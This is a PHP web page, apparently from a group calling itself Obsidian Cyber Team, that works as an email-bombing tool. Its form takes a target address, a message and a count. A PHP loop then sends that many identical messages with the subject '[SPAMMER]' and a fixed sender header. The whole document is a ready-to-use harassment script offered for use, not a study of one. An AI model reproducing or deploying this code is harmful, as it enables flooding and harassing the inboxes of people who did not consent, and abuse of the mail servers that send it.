Spammer Email

<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Spammer Email
    </title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js">
    </script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js">
    </script>
  </head>
  <body>
    <!-- Author : MR-K4MVR3T -->
    <!-- Contact Personal : contactk4mvr3t@gmail.com -->
    <!-- Edit or Delete copyright will not make you the real coder! -->
    <div class="container">
      <br>
      <font size=6>Spammer Email
      </font>
      <br>
      <br
          <br>
      <b>How to use?
      </b>Just enter the email, message, and amount to spam.
      <br>
      <style>
        body {
          background-color:white;
          color:black
        }
        .content {
          max-width: 700px;
          margin: auto;
        }
      </style>
      </head>
    <div class="container content">
      <div class="card" style="background-color: inherit; color: white; border-style: none;">
        <center>
          <font color="white">
          </font>
        </center>
      </div>
      </font>
    </center>
  </div>
</center>
<br>
<form method="POST">
  <div class="form-group">
    <div class="input-group">
      <span class="input-group-addon">Target :
      </span>
      <input type="text" placeholder="" class="form-control" name="email" autofocus="" required="">
    </div>
  </div>
  <div class="form-group">
    <div class="input-group">
      <span class="input-group-addon">Amount :
      </span>
      <input type="number" class="form-control" placeholder="" name="kali" required="">
    </div>
  </div>
  <div class="form-group">
    <label for="pesan">Message :
    </label>
    <textarea class="form-control" rows="7" name="pesan">
    </textarea>
  </div>
  <button type="submit" style="width: 100%;" class="btn btn-danger" name="ok">Submit
  </button>
</form>
</table>
<br>
<center>
  <?php
const br = '<br />';
if(isset($_POST["ok"])){
$subjek = '[SPAMMER]';
$mailto = $_POST['email'];
$imel = $_POST['pesan'];
$body = <<<EOD
<br><hr><br>
<center><b>$imel</b></center>
EOD;
$headers = "From: obsidiancyberteam.id@gmail.com\r\n";
$headers .= "Content-type: text/html\r\n";
for ($a= 1; $a <= $_POST['kali']; $a++)
{
mail($mailto, $subjek, $body, $headers);
echo $a .br . '[DONE]';
echo "<br />";
}
}
?>
  <center>
    <b>Copyright &copy; MR-K4MVR3T | Obsidian Cyber Team
    </b>
  </center>
  </div>
</head>
<body>
  </html>